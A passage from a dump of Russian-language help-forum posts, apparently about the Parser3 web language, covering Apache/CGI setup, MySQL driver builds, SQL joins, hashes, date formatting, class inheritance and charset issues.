  <area><value>43.00</value><unit>кв.м</unit></area>\
  <living-space><value>17.00</value><unit>кв.м</unit></living-space>\
  <kitchen-space><value>11.00</value><unit>кв.м</unit></kitchen-space>\
</offer>\
[/code]\
\
Первый узел разбирается нормально. Ошибка начинается на втором узле:\
[quote][b]create[/b]\
Entity: line 42: parser error : Extra content at the end of the document\
 <offer internal-id='164109033'>[/quote]\
\
Не понимаю в чем ошибка."
"84270","У меня есть html текст. его нужно вывести на страницу.\
Подскажите пожалуйста как это сделать?"
"84271","Добавьте ваш html текст на нужную страницу, и он выведется."
"84272","спасибо.\
я уточню свой вопрос:\
я читаю html-код bp файла, потом вывожу. но выводится он как текст, а не как html-код. как сделать так чтобы выводился именно как html-код?\
вот мой код:\
$mTXT[^table::load[$sections.uri2]]\
^mTXT.menu{\
           $mTXT.text\
	}\
что нужно здесь исправить?"
"84273","Теперь хоть понятна суть проблемы.\
\
[code]\
$mTXT[^table::load[$sections.uri2]]\
\
^mTXT.menu{\
	^taint[as-is][$mTXT.text]\
}\
[/code]\
\
Более подробно можно почитать в документации: [url=\"https://www.parser.ru/docs/lang/opuntainttaint.htm\"]Преобразование данных[/url]"
"84274","В уроке всё изложено, с примерами кода."
"84275","Доброго времени суток, поставил себе LAMP для удобства разработки, вот что есть:\
a2enmod cgi\
chgrp www-data /web/genus/bulk/public_html/cgi-bin\
chown $USER:www-data /web/genus/bulk/public_html/cgi-bin/\
chmod -R 755 /web/genus/bulk/public_html/cgi-bin/parser3.cgi\
\
[code]<VirtualHost *:8080>\
	ServerName bulk.ls\
	ServerAlias www.bulk.ls  *.bulk.ls\
	DocumentRoot /web/genus/bulk/public_html\
\
	ErrorLog /web/genus/bulk/log/error.log\
	CustomLog /web/genus/bulk/log/access.log combined\
\
	ScriptAlias /cgi-bin/ /web/genus/bulk/public_html/cgi-bin/\
        <Directory \"/web/genus/bulk/public_html/cgi-bin\">\
                AllowOverride None\
		AddHandler cgi-script .cgi .pl\
                Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch\
                Require all granted\
        </Directory>\
\
	<Directory /web/genus/bulk/public_html>\
		Options FollowSymLinks\
		AllowOverride All\
		Order allow,deny\
		Allow from all\
	</Directory>\
</VirtualHost>[/code]\
\
[code]DirectoryIndex index.html\
DirectorySlash Off\
\
Options -Indexes\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.(p|cfg)$\">\
  Order allow,deny\
  Deny from all\
</Files>[/code]\
\
Ошибка:\
[quote]/web/genus/bulk/public_html/.htaccess: Invalid command 'Action', perhaps misspelled or defined by a module not included in the server configuration[/quote]\
\
Пробовал писать разные пути в .htaccess, не помогло."
"84276","Когда Апач говорит, что он не знает ничего про какую-то директиву, то забейте ее в поиске на сайте httpd.apache.org и посмотрите какого модуля не хватает.\
\
И забудьте про .htaccess, если есть доступ к конфигу Апача. Поставьте везде AllowOverride None и конфигурируйте все в VirtualHost."
"84277","Спасибо, теперь другой вопрос, собрал из исходников ./buildall --disable-safe-mode все хорошо, приступил к драйверам MySQL:\
sudo ./configure\
[quote]checking for a BSD-compatible install... /usr/bin/install -c\
checking whether build environment is sane... yes\
checking for a thread-safe mkdir -p... /bin/mkdir -p\
checking for gawk... gawk\
checking whether make sets $(MAKE)... yes\
checking for MYSQL_INC directory... configure: error: use --with-mysql-inc=DIR to specify MySQL includes directory[/quote]\
\
sudo ./configure --with-mysql-inc=DIR\
[quote]checking for a BSD-compatible install... /usr/bin/install -c\
checking whether build environment is sane... yes\
checking for a thread-safe mkdir -p... /bin/mkdir -p\
checking for gawk... gawk\
checking whether make sets $(MAKE)... yes\
configure: error:  does not seem to be valid MySQL includes directory[/quote]\
\
Как правильно собрать?"
"84279","dpkg -l | grep mysql\
[quote]\
ii  dbconfig-mysql                              2.0.4ubuntu1                                 all          dbconfig-common MySQL/MariaDB support\
ii  libmysqlclient20:amd64                      5.7.19-0ubuntu0.16.04.1                      amd64        MySQL database client library\
ii  libqt4-sql-mysql:amd64                      4:4.8.7+dfsg-5ubuntu2                        amd64        Qt 4 MySQL database driver\
ii  mysql-client-5.7                            5.7.19-0ubuntu0.16.04.1                      amd64        MySQL database client binaries\
ii  mysql-client-core-5.7                       5.7.19-0ubuntu0.16.04.1                      amd64        MySQL database core client binaries\
ii  mysql-common                                5.7.19-0ubuntu0.16.04.1                      all          MySQL database common files, e.g. /etc/mysql/my.cnf\
ii  mysql-server                                5.7.19-0ubuntu0.16.04.1                      all          MySQL database server (metapackage depending on the latest version)\
ii  mysql-server-5.7                            5.7.19-0ubuntu0.16.04.1                      amd64        MySQL database server binaries and system database setup\
ii  mysql-server-core-5.7                       5.7.19-0ubuntu0.16.04.1                      amd64        MySQL database server binaries\
ii  php-mysql                                   1:7.0+35ubuntu6                              all          MySQL module for PHP [default]\
ii  php7.0-mysql                                7.0.18-0ubuntu0.16.04.1                      amd64        MySQL module for PHP\
[/quote]"
"84280","Насколько я помню, он как раз и поставит сишные заголовки для библиотеки в /usr/include/mysql."
"84281","Поставил, все прошло успешно, из папки .libs скопировал libparser3mysql.so в /cgi-bin/lib/\
Все заработало"
"84282","Когда можно просто сказать sudo apt-get install parser3? :) В пакетах парсер как раз без safe mode, а библиотека для работы с mysql из пакетов подойдет и к собранному самостоятельно парсеру."
"84283","А что делать после sudo apt-get install parser3?\
\
Как заставить сервер обрабатывать нужные файлы как parser? Это не описано, только про .cgi"
"84285","Так пакет и ставит CGI версию парсера (есть отдельный пакет libapache2-mod-parser3 с модулем для apache).\
\
/etc/parser3/auto.p - общесистемный конфиг.\
/usr/lib/cgi-bin/parser3 - CGI скрипт. Это директория cgi-bin apache по умолчанию.\
\
В apache его устанавливать как обычно (в .htaccess):\
\
AddHandler parser3-handler html\
Action parser3-handler /cgi-bin/parser3"
"84286","Пожалуйста, подскажите как на parser создать окно (внутри вызывается файл с html-кодом)?\
Закрытие окна по кнопке \"Закрыть\" внутри окна или по клавише \"Esc\"\
Спасибо."
"84287","Parser - это серверный язык программирования, он не создает окон."
"84288","Установил через brew memcached и libmemcached.\
При попытке открытия соединения ошибка:\
[code]failed to load memcached library libmemcached.so: dlopen(libmemcached.so, 1): image not found[/code]\
\
Сделал:\
[code]> otool -L libmemcached.so\
libmemcached.so:\
	/usr/local/opt/libmemcached/lib/libmemcached.11.dylib (compatibility version 12.0.0, current version 12.0.0)\
	/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1238.0.0)\
	/usr/lib/libsasl2.2.dylib (compatibility version 3.0.0, current version 3.15.0)\
	/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 307.4.0)\
\
> install_name_tool -change /usr/local/opt/libmemcached/lib/libmemcached.11.dylib @executable_path/lib/libmemcached.11.dylib libmemcached.so\
> install_name_tool -change /usr/local/opt/libmemcached/lib/libmemcached.11.dylib @rpath/lib/libmemcached.11.dylib libmemcached.so[/code]\
\
Без результата.\
\
Кто-нибудь ставил Memcached под OS X?\
Куда и как положить библиотеку, чтобы Парсер её нашёл?"
"84289","есть две таблицы в БД\
[code]a_users (u_uid, u_name, u_group)\
scriptlist (id, name, owner)[/code]\
[b]scriptlist.owner[/b]  указывает на [b]u_group[/b]. То есть, может быть несколько записей в scriptlist, которые принадлежат одному a_users, а может и не быть ни одной.\
Как запросом вывести список юзеров с количеством его записей в таблице [b]scriptlist[/b]?\
\
\
я додумался до таких двух вариантов, они некорректны:\
\
\
[code]\
^connect[$connect_string]{\
	$usrslist[^table::sql{\
		SELECT \
			a_users.u_id AS u_id, a_users.u_name AS u_name, COUNT(*) AS cnt\
 		FROM \
		 	a_users, scriptlist \
		WHERE \
			a_users.u_group=scriptlist.owner\
 		GROUP BY a_users.u_group\
         }]\
}\
[/code]\
- этот не выводит строки, где юзер есть, а его записей в scriptlist нету\
 \
[code]\
^connect[$connect_string]{\
	$usrslist[^table::sql{\
		SELECT \
			a_users.u_id AS u_id, a_users.u_name AS u_name, COUNT(*) AS cnt\
 		FROM \
		 	a_users \
		LEFT JOIN \
            scriptlist ON a_users.u_group=scriptlist.owner\
        GROUP BY a_users.u_group\
         }]\
}\
\
[/code]\
- этот выводит все строки юзеров, но те значение [b]cnt = 1[/b] как в случаях в случаях где в scriptlist нету записи, так и когда есть одна запись.\
\
Подскажите, пожалуйста, как? \
ПС. Извиняюсь за оффтоп"
"84290","[code]\
select u.u_uid, count(s.id) as cnt\
  from a_users as u\
          left join scriptlist as s on (u.u_group = s.owner)\
group by u.u_uid\
[/code]\
\
p.s. https://www.litres.ru/alan-beaulieu/izuchaem-sql-24500342/"
"84291","[code]\
\
Дано:\
\
1)Текст вида:\
   $text[ blah-blah *var1(value1) ... blah-blah *var2(value2)...]\
 \
   в котором парсятся мета-переменные и значения вида *var(value)\
\
2)Таблица - как результат успешного матчинга текста\
    $vars[^text.match[regexp]]\
#   где, в столбцы попадают имя переменной и значение в скобках:\
      $vars.1[var1]     ^rem{# имя переменной распарсенной из текста }\
      $vars.2[value1]   ^rem{# значение переменной }\
\
Задача: \
 1) Преобразовать таблицу в хеш методом ^table.hash[]  \
    к виду: ^rem{# не спрашивайте почему к такому, это неизменяемо в рамках задачи}\
\
    $vars[\
       $.1[\
           $.name[varname]\
           $.val[varvalue]\
       ]\
\
       ...\
\
       $.n[...]\
    ]\
\
\
Завис:\
 1) Порядковый счетчик ключа можно через мат.выражение или только код?\
 2) Не пойму как подойти к параметрам\
\
\
Пробовал так и сяк, но все не верно:\
 $i(0)\
 $vars[^vars.hash{^i.inc[]$i}{$.name[$vars.1] $.val[$vars.2]}[$.type[hash]]\
 \
 ^vars.hash{key}[если строка, то тут имя столбца должно быть по доке]\
 ^vars.hash{key}{а если код, то очевидно ругается на попытку писать голый хеш}\
\
\
[/code]"
"84292","[code]\
  $i(1)\
  $vars[^hash::create[]]\
  $null[^text.match[regexp][g]{\
    $vars.[$i][\
      $.name[$match.1]\
      $.value[$match.2]\
    ]\
    ^i.inc[]\
  }]\
[/code]"
"84294","Бился-бился в попытка хитро указать библиотеку.\
Плюнул и сделал\
[code]ln -s /usr/local/opt/libmemcached/lib/libmemcached.11.dylib /usr/local/lib/libmemcached.so[/code]\
после чего Memcached заработал."
"84295","Спасибо! Получилось!\
\
Но вот решил апгрейднуть: \
[code]select u.u_id, count(s.id) as scrcnt, count(sp.id) as spcnt, count(an.id) as ancnt\
  from a_users as u\
          left join scriptlist as s on (u.u_group = s.owner)\
          left join spiches as sp on (u.u_group = sp.owner)\
          left join answers as an on (u.u_group = an.owner)\
group by u.u_id[/code]\
\
и так уже не работает. что я тут упустил?"
"84297","Вроде как базовая вещь, но не могу найти в документации как правильно реализовать:\
\
Пока пользуюсь такой конструкцией для каждой ссылки:\
[code]^if($user.rights==100 && def $form:editeduser){\
    <a href=./?scr=$scriptselect.id&editeduser=$form:editeduser>\
}{\
    <a href=./?scr=$scriptselect.id>\
}[/code]\
\
Как сделать вот так, но с правильным синтаксисом?\
\
[code]^if($user.rights==100 && def $form:editeduser){\
#переменной $addlink присваивается значение [b]&editeduser=$form:editeduser[/b]\
}{\
#переменной $addlink ничего не присваивается   \
}\
...\
#без пробела - считает что $addlink это часть имени $scriptselect.id\
<a href=./?scr=$scriptselect.id$addlink > \
[/code]"
"84298","https://www.parser.ru/docs/lang/vars.htm"
"84299","Помоги решить простую задачу.\
\
Есть файл cfg с данным \
[code]year	mon	day\
2017	06	21\
2017	05	25[/code]\
\
Как мне вывести эти даты в Человеческом виде.\
\
Вот мой код: \
\
[code]\
@title_date_[student_name;student_date][sections]\
$sections[^table::load[/access/klass/people.cfg]]\
$TitleH3Date[^sections.select($sections.p3_fio eq student_name && $sections.uri eq $student_date)]\
^TitleH3Date.menu{^TitleH3Date_cell[$TitleH3Date.fields]}\
\
@TitleH3Date_cell[sections]\
$sections.day $sections.mon $sections.year\
^dtf:format[%d %h %Y]\
[/code]\
\
Выводит 2 даты... Сегодняшнею и ту которая в файле."
"84300","Надо чтобы месяцы которые в cfg файлы были прописные (например 25 мая 2017, 21 июля 2017)"
"84302","Было\
[code]\
@title_date_[student_name;student_date][sections]\
$sections[^table::load[/access/klass/people.cfg]]\
$TitleH3Date[^sections.select($sections.p3_fio eq student_name && $sections.uri eq $student_date)]\
^TitleH3Date.menu{^TitleH3Date_cell[$TitleH3Date.fields]}\
\
@TitleH3Date_cell[sections]\
$sections.day $sections.mon $sections.year\
^dtf:format[%d %h %Y]\
[/code]\
\
стало \
[code]\
@title_date_[student_name;student_date][sections]\
$sections[^table::load[/access/klass/people.cfg]]\
$TitleH3Date[^sections.select($sections.p3_fio eq student_name && $sections.uri eq $student_date)]\
$calendar_locale[\
	$.month_names[\
		$.1[января]\
		$.2[февраля]\
		$.3[марта]\
		$.4[апреля]\
		$.5[мая]\
		$.6[июня]\
		$.7[июля]\
		$.8[августа]\
		$.9[сентября]\
		$.10[октября]\
		$.11[ноября]\
		$.12[декабря]\
	]\
]\
$now[^date::now[]]\
^TitleH3Date.menu{^TitleH3Date_cell[$TitleH3Date.fields]}\
\
@TitleH3Date_cell[sections]\
$sections.day $calendar_locale.month_names.[$now.month] $sections.year\
[/code]\
\
Насколько все корректно все написано?"
"84303","Здравствуйте,\
\
Есть json: {\"success\": true, \"data\": [{\"show_to_affiliates\":true,\"trip_class\":0,\"origin\":\"BGW\",\"destination\":\"IST\",\"depart_date\":\"2017-12-28\",\"return_date\":\"2018-01-03\",\"number_of_changes\":0,\"value\":14662,\"found_at\":\"2017-08-21T04:30:57+04:00\",\"distance\":1610,\"actual\":true}] }\
\
По книжке делаем нужные манипуляции:\
\
[code]\
$json_string[^taint[clean;$str]]]\
$h[^json:parse[$json_string;]]\
[/code]\
\
Перебираем ключи, показывает:\
success\
data\
\
Немного поколдовав, показывает:\
0\
1\
2\
...\
\
Не пойму как достать значение внутреннего ключа?"
"84304","Если нужно конкретное поле, то $h.data.origin. Перебрать все в data: ^h.data.foreach[k;v]{...}. Обычная работа с хешами. В чем сложность непонятно."
"84305","Что мешает собрать из полей объект даты и отформатировать через dtf?\
\
[code]\
  ^dtf:format[%d %h %y;^date::create($sections.year;$sections.month;$sections.day)]\
[/code]"
"84306","Всем привет. Подскажите пожалуйста, можно ли как-то автоматически загружать данные с cfg файла в хэш? Я воспользовался методом  https://www.parser.ru/forum/?id=83288, но оказалось, что он не совсем удобен, так как при изменении данных приходится данные менять в auto.p (в файле много другого кода), удобнее конечно же менять данные в файле cfg (в файле нет лишней информации и пр. кода).\
\
Было удобно вносить изменения в cfg файл, а не в файл auto.p. при этом cfg брался бы в хеш, а не загружался бы каждый раз заного. Проверять обновлен ли cfg файл можно скажем раз в сутки."
"84307","Что вы сделали, в чём сложность?"
"84308","Привет. Помогите решить задачу:\
\
Есть две таблицы:\
$sample поля: old, new\
$result поля: name, data1, data2\
\
Нужно во второй таблице поменять данные в data1 и data2 заменив значения по шаблону из первой страницы old поменять на new.\
[b]Например:[/b]\
[code]$sample(old new\
1 10\
2 50\
10 7)[/code]\
\
[b]До обработки:[/b]\
[code]$result(name data1 data2\
blah0 1 2\
blah2 10 2\
blah3 1 10)[/code]\
\
[b]После обработки:[/b]\
[code]$result(name data1 data2\
blah0 10 50\
blah2 7 50\
blah3 10 7)[/code]"
"84309","[code]@people_documents_[name_doc][sections]\
$sections[^table::load[/access/doc/all_docs.cfg]] #загружаю файл\
$sections[^table.hash[name_doc][\
	$.distinct(true)\
	$.type[table]\
]]\
$sectionsListDoc[^sections.select($sections.documents eq $name_doc)]\
^sectionsListDoc.menu{^people_documents__cell[$sectionsListDoc.fields]}\
\
\
@people_documents__cell[sections]\
#HTML КОД.....\
[/code]"
"84310","[quote]2. В теле сообщения напишите что вы хотели получить, что вы делали и что получили[/quote]"
"84311","[code]^if(def $result && def $sample){\
            ^result.menu{\
                ^if(^sample.locate[old;$result.data1]){ \
                    $result.data1($sample.new) \
                }{ \
                    Сообщение об ошибке \
                }\
            \
                ^if(^sample.locate[old;$result.data2]){ \
                    $result.data2($sample.new) \
                }{ \
                    Сообщение об ошибке \
                }\
            }\
}[/code]"
"84312","Сомневаюсь.\
\
Загружаете таблицу, хешируете её по нужному столбцу, получаете хеш значений по значениям столбца."
"84313","[code]\
@footer_link_[LinkPages]\
$footer_link_sections[^table::create{name	link	uri	class\
Сайт школы	index	/\
Защита личных данных	privacy /doc/privacy/   none\
}]\
$footerLinkSections[^footer_link_sections.select($footer_link_sections.uri eq $LinkPages)]\
^footerLinkSections.menu{^footer_link_cell[$footerLinkSections.fields]}\
\
@footer_link_cell[footer_link_sections]\
^if($footer_link_sections.uri eq $request:uri){$footer_link_sections.name}{<a href=\"$footer_link_sections.uri\">$footer_link_sections.name</a>}\
[/code]\
\
Данные вывожу — ^footer_link_[privacy] и ^footer_link_[index] - ошибки нет, но и данные не грузятся. Подскажите где  накосячил?"
"84314","Спасибо."
"84315","вопрос)"
"84316","Сори за трудно читаемый код."
"84317","Ключ хеша может быть составным и вычисляемым, значением может выступать объект любого класса."
"84318","Чтобы не делать locate в цикле можно таблицу замен положить в хеш ($.old[new]). И вместо locate делать ^if(^sample.contains[$result.data1]){__ тут замена __}"
"84319","Если дополнительно задать default-значение, то можно обойтись и без contains.\
[code]@main[]\
$table[^table::create{a\
1\
2\
3}]\
$replace[^table::create{from	to\
2	4\
3	5}]\
\
$replace[^replace.hash[from;to;$.type[string]]]\
$replace._default{$table.a}\
\
^table.menu{\
	$table.a[$replace.[$table.a]]\
}[/code]"
"84322","Здравствуйте, подскажите пожалуйста как реализовать следующее: \
\
Имеется два cfg файла - разными столбцами, кроме двух (и там и там есть столбцы p_city city - p_city  - город на английском city - город на русском)\
\
Задача вывести список городов (из файла city.cfg) и список количество поездок из файла klass-travel.cfg\
\
=\
\
[code]@travel_country_first[filter][TravelSecond;$TravelCitySecond]\
$TravelSecond[^table::load[/__access/travel/klass-travel.cfg]] # в данном cfg файле все поездки некого школьного класса (города иногда повторяться)\
$TravelCitySecond[^table::load[/__access/travel/city.cfg]] # в данном cfg файле список городов (тут только одни города (город не повторяется).\
# Дальше делема, не могу понять как из двух разных таблиц взять одно одинаковое поле? я пытаюсь вывести следующим образом\
$TravelSecondFilter[^TravelSecond.select($TravelSecond.p3_country eq $filter)]\
$TravelCitySecondFilter[^TravelCitySecond.select($TravelCitySecond.p3_country eq $filter)]\
^num_decline[$TravelCitySecond_found;$TravelCitySecond_found поездка;$TravelCitySecond_found поездки;$TravelCitySecond_found поездок]\
^TravelSecondFilter.menu{^travel_city_cell[$TravelSecondFilter;$TravelCitySecondFilter]}\
\
\
@travel_country_first_cell[TravelSecond;$TravelCitySecond]\
^if(!def $TravelCitySecond.uri){\
	<div class=\"list\">$TravelCitySecond.city - <div class=\"количество-визито (цифровое значение)\">$TravelSecond.city</div></div>\
}($TravelCitySecond.uri eq $request:uri){\
	<div class=\"list\"><a href=\"$TravelCitySecond.uri\" class=\"underline\">$TravelCitySecond.city</a> - <div class=\"количество-визито (цифровое значение)\">$TravelSecond.city</div></div>\
}{\
	<div class=\"list\"><a href=\"$TravelCitySecond.uri\" class=\"underline\">$TravelCitySecond.city</a> - <div class=\"количество-визито (цифровое значение)\">$TravelSecond.city</div></div>\
}[/code]\
\
\
Вывод \
Москва - 4 поездки\
Питер - 5 поездок\
Гоячий Ключ - 1 поездка\
\
з.ы. слово поездка склоняется от количества поездок :)"
"84323","Потом сделать простой запрос, который недавно обсуждали в https://www.parser.ru/forum/?id=84290. Иначе вы будете вынуждены делать в парсере джоины вручную, что точно будет медленне, чем в СУБД.\
\
Вы, конечно, можете сделать из таблиц хеши таблиц по ключу p_city и реализовать алгоритм nested looop, но делайте это самостоятельно. Мы за прогресс - данные надо держать в базе данных. :)"
"84324","Мне интересно создать школьный сайт \"дедовским способом\" без БД (такое сейчас не кто не делает))). (занести данные с cfg в БД MySQL большого труда не составит, вот написать правильно необходимые запросы, чтобы вывести ту или иную информацию в некоторых местах голову придется поломать, но не суть...).\
\
У меня получается загвоздка только с реализацией данной задачи, так как реализовав данную задачу я реализую сразу множество идей.\
\
Помоги, где копать, в какой из строчек ошибка?."
"84325","Загрузили таблицу городов.\
Загрузили таблицу поездок.\
Таблицу поездок привели к хешу таблиц по ключу города.\
Перебрали города, для каждого взяли таблицу поездок и вывели."
"84326","Столкнулся с интересной особенностью - на файловой систему exfat не удается получить признак каталога, в столбце dir всегда 0.\
\
\
[code]\
root@raspberrypi:/# df -T /dev/sda1\
Filesystem     Type    1K-blocks  Used Available Use% Mounted on\
/dev/sda1      fuseblk  62725376 35968  62689408   1% /media/usb_storage\
[/code]\
\
[code]\
root@raspberrypi:/# ls -l /media/usb_storage\
total 128\
-rwxr-xr-x 1 root root      0 Aug 25 14:59 a\
drwxr-xr-x 1 root root 131072 Aug 25 14:49 video\
[/code]\
\
у каталога video в столбце dir - 0, size показывает нормально, точно так же как в ls.\
но это каталог и внутри файлы есть. \
\
При этом на ext4 все работает корректно.\
\
Работает, как уже понятно, на Raspberry PI 3, Parser/3.4.3 установлен из репозитария."
"84327","В 3.4.4 исправили очень похожую ошибку, которую обнаружили на xfs."
"84328","А то помню что было подобное, но быстро найти не смог. :)"
"84331","как в случае выполнения условия сделать переход на определенный ресурс в интернете,\
например сайт, или вкладку? подскажите пожалуйста."
"84332","$response:location[http://$env:SERVER_NAME/] - этой конструкцией можно решить проблему. я правильно понимаю?"
"84334","Здравствуйте. Подскажите пож. jquery можно как-то использовать? или parser и jquery - не совместимы?"
"84335","Только джиквери работает в браузере на компьютере пользователя, а Парсер на сервере сайта. Так что вопрос быссмысленный. Как экранировать спецсимвол $, если яваскрипт-код для джиквери написан в шаблоне парсера, описано в документации и faq."
"84338","Как всегда есть фаил cfg =)\
\
в нем несколько столбцов:\
abcd (всегда есть значения)\
name (иногда есть значения)\
td3 (иногда есть значения)\
td4 (иногда есть значения)\
uri (иногда есть значения, ссылка)\
\
Необходимо следующее условие, если отсутствуют значения во всех столбцах сроме abcd, то мы выводим \"простой текст\". Как это делаю, я:\
\
[code]\
#\
# 1. если нет значений в столбце uri, то мы выводит значения столбца name без ссылки, если url есть то выводим значения name с ссылкой\
# 2. если нет значений в name и td3 и td4 и uri то мы выводим пишим текст \"Информация отсутствует\", если есть есть значения то ссылка и имя\
#\
@abcd__cel[IDSecond]\
^if(!def $IDSecond.uri){\
	$IDSecond.name\
}{\
	<a href=\"$IDSecond.uri\" class=\"underline\">$IDSecond.name</a>\
}(!def $IDSecond.name || !def $IDSecond.td3 || !def $IDSecond.td4 || !def $IDSecond.uri){\
	Информация отсутствует\
}{\
	<a href=\"$IDSecond.uri\" class=\"underline\">$IDSecond.name</a>\
}\
\
[/code]\
\
\
\
Использую || так как мне казалось, что так логичнее, согласно https://www.parser.ru/docs/lang/?exprops.htm но я ошибся.\
\
Как мне выполнить условия если во всех столбцах кроме abcd нет значений\
\
\
\
\
\
[/code]"
"84341","!def $IDSecond.name && $request:name"
"84342","Тред закрыт. :("
"84344","Коллеги! Вопрос на номинацию «стандартный тупой вопрос года».\
\
Parser 3.4.5:\
\
#######################################\
# Есть класс user\
#######################################\
\
[code]@CLASS\
user\
\
@OPTIONS\
dynamic\
\
@USE\
admin.p\
edit.p\
\
@BASE\
admin\
\
@create[]\
$edit[^edit::create[]]\
\
@view[]\
^self.edit.view[][/code]\
\
\
#######################################\
# От user наследуем edit\
#######################################\
\
[code]@CLASS\
edit\
\
@OPTIONS\
dynamic\
\
@USE\
user.p\
fields.p\
\
@BASE\
user\
\
@create[]\
$fields[^fields::create[]]\
$user[\
	^connect[$SQL.connect-string]{\
		^table::sql{SELECT `id`, `name` FROM `users` WHERE `id`='${form:id}'}\
	}\
]\
\
@view[]\
^self.fields.view[][/code]\
\
\
#######################################\
# От edit наследуем fields\
#######################################\
\
[code]@CLASS\
fields\
\
@OPTIONS\
dynamic\
\
@USE\
edit.p\
\
@BASE\
edit\
\
@create[]\
^rem{**	Конструктор пустой, например **}\
\
@view[]\
$edit:user.name\
^rem{** \
	Здесь ожидал получить данные из родителя, но что-то пошло не так.\
	$BASE:user.name - не работает.\
	Научите меня в это ваше кунг-фу.\
**}[/code]"
"84345","[quote]$edit[^edit::create[]]\
…\
От user наследуем edit[/quote]\
\
Вы и наследуете edit от user и тут же создаёте объект класса edit и потом к нему обращаетесь.\
И с fields то же самое.\
\
В обоих случаях полностью перекрываете конструктор, а значит конструктор родителя не исполняется.\
\
Что вы хотите сделать?\
Напишите словами.\
\
\
[code]@main[]\
$c[^c::create[]]\
^c.print[]\
\
@CLASS\
a\
\
@create[]\
$self.foo[a]\
\
\
@CLASS\
b\
\
@BASE\
a\
\
@create[]\
^BASE:create[]\
\
$self.bar[b]\
\
\
@CLASS\
c\
\
@BASE\
b\
\
@create[]\
^BASE:create[]\
\
$self.baz[c]\
\
@print[]\
foo: $self.foo, bar: $self.bar, baz: $self.baz[/code]"
"84346","Хочу обратиться к переменной в родительском конструкторе из метода наследника. \
\
В моём случае использование ^BASE:create[] или $parent[^BASE::create[]] в конструкторе наследника вызывает «call canceled - endless recursion detected».\
\
В статических классах все было проще, а как с динамическими правильно обращаться? )"
"84347","[quote]Хочу обратиться к переменной в родительском конструкторе из метода наследника.[/quote]\
\
Наследник [b]наследует[/b] поля и методы базового класса.\
А это значит, что поле родительского класса становится полем самого класса.\
\
И поле в конструкторе лишь инициализируется, находится оно не в конструкторе, а в самом классе.\
\
[code]@main[]\
$b[^b::create[]]\
^b.print[]\
\
@CLASS\
a\
\
@create[]\
$self.field[a]\
\
\
@CLASS\
b\
\
@BASE\
a\
\
@print[]\
field: $self.field[/code]"
"84348","Как вы создаёте объект $b[^b::create[]], если у вас нет конструктора @create[] в классе «b»?\
\
Повторил ваш код — не работает.\
\
Подумал, что может быть названия переменных пересекаются с названием классов и в этом проблема, но тогда бы выдал exception скорее всего. Так и не достучался до поля родителя."
"84349","[quote]Как вы создаёте объект $b[^b::create[]], если у вас нет конструктора @create[] в классе «b»[/quote]\
\
Конструктор наследуется, как и другие методы.\
Уже несколько версий как его не нужно дублировать в дочернем классе.\
\
[quote]Повторил ваш код — не работает.[/quote]\
\
Работает.\
\
В чём ошибка, что в результате?\
\
Он же атомарный — положите в файл и обратитесь к нему.\
\
[quote]Так и не достучался до поля родителя.[/quote]\
\
К родителю и не нужно стучаться.\
Обращаться нужно к своим полям."
"84350","В «b» нужно добавить ссылку на родителя, тогда работает.\
\
[code]@USE\
a.p[/code]\
\
Спасибо за помощь, буду разбираться."
"84351","[quote]В «b» нужно добавить ссылку на родителя, тогда работает.[/quote]\
\
Не нужно, если всё лежит в одном файле, как я и привожу."
"84352","Мой телеграмм - projecthealer"
"84353","4newprojects@gmail.com"
"84354","Не было мысли делать чтение/запись из Parser?"
"84355","localStorage хранится же на клиенте и на сервер не передаётся, каким образом с ним работать из Парсера? Если только писаться свою библиотеку на JS и через неё работать."
"84359","Нужно определять китайцев, японцев и т.п. по их тексту."
"84360","[code]@main[]\
$s[abc&#12353; &#12354; &#12355; &#12356; &#12357; &#12358; &#12359;]\
^if(^s.match[[\\x{3041}-\\x{3096}]])[y;n][/code]\
\
[url=\"http://www.localizingjapan.com/blog/2012/01/20/regular-expressions-for-japanese-text/\"]Примеры и диапазоны[/url].\
\
P. S. Форум ломает иероглифы, после «abc» в примере несколько Hiragana-иероглифов."
"84361","$s[abc&#12353^; &#12354^; &#12355^; &#12356^; &#12357^; &#12358^; &#12359^;]\
\
$t[&#26377;&#26102;&#30331;&#24405;&#19981;&#19978;]\
^if(^t.match[[\\x{3041}-\\x{3096}]]){Match}{Not Match}\
\
Выдает Not match\
\
$t[English]\
^if(^t.match[[\\x{3041}-\\x{3096}]]){Match}{Not Match}\
\
Выдает тоже Not Match. Что не так?"
"84362","[quote]Выдает Not match[/quote]\
\
Невозможно понять.\
Проверьте какие именно иероглифы передаёте и правильный ли диапазон используете.\
\
[quote]$t[English]\
^if(^t.match[[\\x{3041}-\\x{3096}]]){Match}{Not Match}\
\
Выдает тоже Not Match. Что не так?[/quote]\
\
С чего ему совпадать, если это латиница?"
"84363","Интересно - вставляю иероглифы - они тут преобразуются..."
"84364","Как говорится, сайты под ключ или доработка.\
Из навыков Parser, JS, PHP (но лучше Parser). Множество собственных нароботок: от мелочей до сборок интернет-магазина.\
\
Писать на zelebober@zelebober.com."
"84365","Если еще надо, то вот и мое мыло: zelebober@zelebober.com"
"84368","Всем привет) Загружаю таблицу из неподконтрольного источника, а там все записи оканчиваются на пробел, который не удаляется ни с помощью trim[ ], ни заменой, ни регуляркой, ни сплитом. Выбираю hex-режим, а там этот символ кодируется как A000, вместо 2000 у пробела. \
Добавляю ^taint[^#A0] в автозамену - странный пробел заменяется на юникод-кракозябру&#65533; и дальше ее снова не получается убрать ни одним из перечисленных способов. \
Плюс к тому, в Парсере отсутствует ^ascii[], а при открытии другими редакторами на месте этого странного символа появляется обычный пробел.\
\
Уважаемые коллеги, очень интересует, в какие дебри я залез и что с этим делать?"
"84369","Подозреваю, что парсер работает в UTF-8, а исходные данные в Windows-1251. \
Проще всего наверное будет переключить парсер тоже в Windows-1251 ($request:charset / $response:charset).\
\
[quote]Добавляю ^taint[^#A0] в автозамену[/quote]\
\
В представлении UTF-8 код этого символа двухбайтовый, 0xC2 0xA0 (http://www.fileformat.info/info/unicode/char/00a0/index.htm)."
"84370","У меня настроено так: \
$request:charset[windows-1251]\
$response:charset[windows-1251]\
В html выводятся кракозябры, но в файл сохраняется нормальный текст, причем в utf8!!\
\
Если делать такие настройки: \
$request:charset[windows-1251]\
$response:charset[utf-8]\
то ^json:parse выдает ошибку \"unexpected char\" на символе, предположительно, &#65533;."
"84371","Добрый день.\
